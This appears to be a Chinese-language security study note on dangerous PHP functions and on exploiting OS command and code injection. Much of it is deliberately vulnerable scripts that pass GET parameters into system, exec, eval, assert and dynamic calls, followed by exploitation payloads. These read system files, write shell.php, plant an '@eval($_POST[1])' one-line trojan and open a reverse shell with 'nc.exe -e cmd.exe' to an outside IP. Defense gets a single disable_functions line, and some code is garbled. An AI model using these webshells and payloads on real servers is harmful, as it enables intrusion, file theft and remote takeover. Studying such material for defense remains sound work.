目录
后台代码-PHP危险函数
1.OS命令执行函数
*PHP代码执行函数
*回调函数
*动态函数 $a($b)
扩展知识:
OS命令注入漏洞
PHP代码注入
RCE,(Remote Code\Command Execute)
函数会调用系统命令,类似于 bash或者cmd,PHP会自动区分平台。
☺ 系统命令函数,调用的是服务器命令。
☺ PHP解释器会自动识别系统平台
☺ 如果参数可控,就相当于shell
☺ 在浏览器输入命令,在服务器端执行
☺ 通过Web方式传参调用系统命令,无法切换工作目录,非持久性链接,对比反弹shell.
☺ System()
System() 自带输出功能 ,将字符串作为OS命令执行。
例:php脚本验证
if(isset($_GET['cmd'])){ echo " system($_GET['cmd']); }else{ echo" ?cmd=ipconfig "; } ?> |
验证结果:
注:在Web页面执行命令时,不能切换命令。
☺ exec()
exec 将字符串作为OS命令执行。
不支持命令中有空格
不带输出功能 ,需要利用print,
*输出不完整。
例:php脚本验证
if(isset($_GET['cmd'])){ echo " print exec($_GET['cmd']); }else{ echo" ?cmd=whoami "; } ?> |
验证:
☺ Shell_exec
将函数中的参数作为OS命令执行。
需要print输出命令执行结果
*支持命令有空格
例:php脚本验证
if(isset($_GET['cmd'])){ print shell_exec($_GET['cmd']); }else{ echo"?cmd=whoami"; } ?> |
验证:
☺ Passthru()
将字符串当做系统命令执行。自带输出功能。
例:php脚本验证
If(isset($_GET[‘cmd’])){ Passthru($_GET[‘cmd’]); }else{ Echo”?cmd=whoami”; } ?> |
☺ popen()
popen( )能够执行OS命令。
次函数没有回显,但是可以执行命令
*Popen 无输出:(打开进程文件指针:就是返回一个文件,并打开)我们需要利用导入功能
?cmd=ipconfig >>1.txt 或者 whoami >1.txt
If(isset($_GET[‘cmd’])){ //popen($_GET[‘cmd’],‘r’); Popen($_GET[‘cmd’], ‘w’); } ?> |
☺ 反引号
反引号 ` `内的字符串,也会被解析成OS命令。
If(isset($_GET[‘cmd’])){ $cmd=$_GET[‘cmd’]; Print `$cmd`; }else{ echo”?cmd=whoami ”; } ?> |
PHP中很多函数,可以将符合PHP语法规范字符串当做PHP代码执行。
eval()
eval() 会将符合PHP 语法规范字符串当作php 代码执⾏
虽然可以以函数的⽅式调⽤ eval() ,但是 eval() 不是PHP 的函数,⽽是⼀种语法结构。
在 eval() 执⾏的的字符串要以 ;分号结束。
其他命令执⾏的⽅式
?code=phpinfo( );
?code=${phpinfo( )};
?code=1;phpinfo( );
脚本:
$str = $_GET[‘code’]; eval($str); ?> |
$str = addslashes($_GET['code']); echo $str; eval($str); |
注:addslashes:使用反斜线引用字符串
该函数可用于为存储在数据库中的字符串以及数据库查询语句准备合适的字符串。
*assert( )
assert() 同样会将字符串当做PHP 代码来执⾏。
字符串结尾可以不添加分号。
if(isset($_GET[‘code’])){ $code=$_GET[‘code’]; assert($code); }else{ echo “Please submit code! } ?> |
*preg_replace( )
preg_replace() 函数的作⽤是对字符串进⾏正则匹配后替换
例:
$str = preg_replace (‘/a/’,‘A’,‘abacad’); //AbAcAd
将a 用A 替换
$str = preg_replace (‘/\[(.*)\]/’, ’’A’, ’[phpinfo()]’; //A
转译符号将中括号和 .* (所有字符)作为一个整体 ,也就是匹配中括号的内容用A替换
$str = preg_replace (‘/\[(.*)\]/’, ‘\\1’, ‘[phpinfo()]’); //phpinfo()
第一次匹配的内容,如果数字是2就是第二次匹配的内容
*漏洞:$str = preg_replace (‘/\[(.*)\]/e’, ‘\\1’, ‘[phpinfo()]’); //phpinfo()
添加-e修饰符 会直接执行
一个函数调取另一个函数。PHP语言中回调函数有很多。
* call_user_func()
call_user_func(‘assert’, ‘phpinfo( )’);
// assert(‘phpinfo( )’);
第一个参数,assert被调用的函数名
第二个函数,Phpinfo( )作为被调用函数的参数。
* array_map()
由于PHP 的特性原因,PHP 的函数⽀持直接由拼接的⽅式调⽤,这直接导致了PHP 在安全上的控制有
加⼤了难度。不少知名程序中也⽤到了动态函数的写法,这种写法跟使⽤ call_user_func() 的初衷
⼀样,⽤来更加⽅便地调⽤函数,但是⼀旦过滤不严格就会造成代码执⾏漏洞。
if(isset($_GET['a'])){ $a=$_GET['a']; $b=$_GET['b']; $a($b); }else{ echo " ?a=assert&b=phpinfo() "; } ?> |
注:脚本练习 一句话木马 菜刀原理:
$_GET $_POST $_COOKIE >>>> $_REQUEST 是前三个集合
原理以及原因
漏洞危害
命令注入漏洞利用
OS 命令注⼊漏洞,攻击者直接继承Web ⽤户权限,在服务器上执⾏任意系统命令,危害特别⼤。
以下命令均在windows 系统下测试。
☺ 查看系统文件( 读,r )
?cmd=type c:\windows\system32\divers\etc\hosts
☺ 显示当前路径
?cmd=cd
?cmd=pwd
☺ 写文件(w)
?cmd=echo ^=phpinfo( );?> > c:\phpstudy\www\php\commandi\shell.php
?cmd=echo ^=phpinfo( );?> > ./shell.php
☺ 执行某一个程序
?cmd=calc(计算器)
?cmd=nc.exe –e cmd.exe 192.168.137.144 123456
Web应用如果存在代码执行漏洞是一件非常可怕的事情
可以通过代码执行漏洞继承Web用户权限,执行任意代码。
如果服务器没有正确配置,Web用户权限比较高的话,可以读写目标服务器任意文件内容,甚至可以控制整个网络以及服务器。
?code=@eval($_POST[1]);
?code=print(__FILE__);
?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'))
?code=print(file_get_contents('assert.php'))
?code=file_put_contents($_POST[1],$_POST[2])
// 第⼀个参数,⽂件⽬标路径
// 第⼆个参数,⽂件的内容
1=shell.php&2=
防御漏洞的办法
disable_functions = system,assert